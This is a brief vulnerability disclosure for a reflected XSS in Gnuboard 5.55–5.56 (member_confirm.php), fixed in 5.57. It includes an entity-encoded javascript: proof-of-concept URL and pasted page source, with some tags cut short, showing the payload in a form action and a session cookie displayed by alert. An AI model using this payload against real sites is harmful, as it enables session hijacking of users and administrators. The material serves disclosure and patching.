



Gnuboard Reflected XSS

https://sir.kr/g5_pds/6409

Affected Version : Gnuboard 5.55, 5.56

Patched Version : Gnuboard 5.57

Patch history :

<https://github.com/gnuboard/gnuboard5/commit/2457055514cb57324e13f73391b9672c02742bd2>

Vulnerable File: bbs/member_confirm.php

POC : /bbs/member_confirm.php?

url=%26%23x6a%3b%26%23x61%3b%26%23x76%3b%26%23x61%3b%26%23x73%3b%26%23x63%3b%26%23x72%3b%26%23x69%3b%26%23x70%3b%26%23x74%3b%26%23x3a%3balert(document.cookie)%2f%2fmrsl736h

```
g5_shop_url = "http://192.168.183.131/gnuboard/shop";
script>
:ript src="http://192.168.183.131/gnuboard/js/jquery-1.12.4.min.js?ver=210618"></script>
:ript src="http://192.168.183.131/gnuboard/js/jquery-migrate-1.4.1.min.js?ver=210618"></script>
:ript src="http://192.168.183.131/gnuboard/js/jquery.gmenu.js?ver=210618"></script>
:ript src="http://192.168.183.131/gnuboard/js/common.js?ver=210618"></script>
:ript src="http://192.168.183.131/gnuboard/js/wrest.js?ver=210618"></script>
:ript src="http://192.168.183.131/gnuboard/js/placeholders.min.js?ver=210618"></script>
</script>
<!--
v id="hd_login_msg">최고관리자 최고관리자님 로그인 중 <a href="http://192.168.183.131/gnuboard/bbs/logout.php">로그아웃</a></div>
-- 회원 비밀번호 확인 시작 { -->
v id="mb_confirm" class="mbskin">
<h1>회원 비밀번호 확인</h1>

<p>
<strong>비밀번호를 한번 더 입력해주세요.</strong>
회원님의 정보를 안전하게 보호하기 위해 비밀번호를 한번 더 확인합니다.
</p>

<form name="memberconfirm" action="{&#x6a;&#x61;&#x76;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(document.cookie)//rsi736h}" onsubmit="return memberconfirm_submit(this);" method="post">
<input type="hidden" name="mb_id" value="admin">
<input type="hidden" name="u" value="u">

<fieldset>
<span class="confirm_id">회원아이디</span>
<span id="mb_confirm_id">admin</span>
<label for="confirm_mb_password" class="sound_only">비밀번호<strong>필수</strong></label>
<input type="password" name="mb_password" id="confirm_mb_password" required class="required frm_input" size="15" maxLength="20" placeholder="비밀번호">
<input type="submit" value="확인" id="btn_submit" class="btn_submit">
</fieldset>
```

192.168.183.131 내용:

PHPSESSID=mdtvsgib3m8sapd14db1vpvj1e;
2a0d2363701f23f8a75028924a3af643=MTKyLjE2OC4xODMuMQ%3D%3D

확인

비밀번호를 한번 더 입력해주세요.

회원님의 정보를 안전하게 보호하기 위해 비밀번호를
한번 더 확인합니다.

회원아이디

admin

확인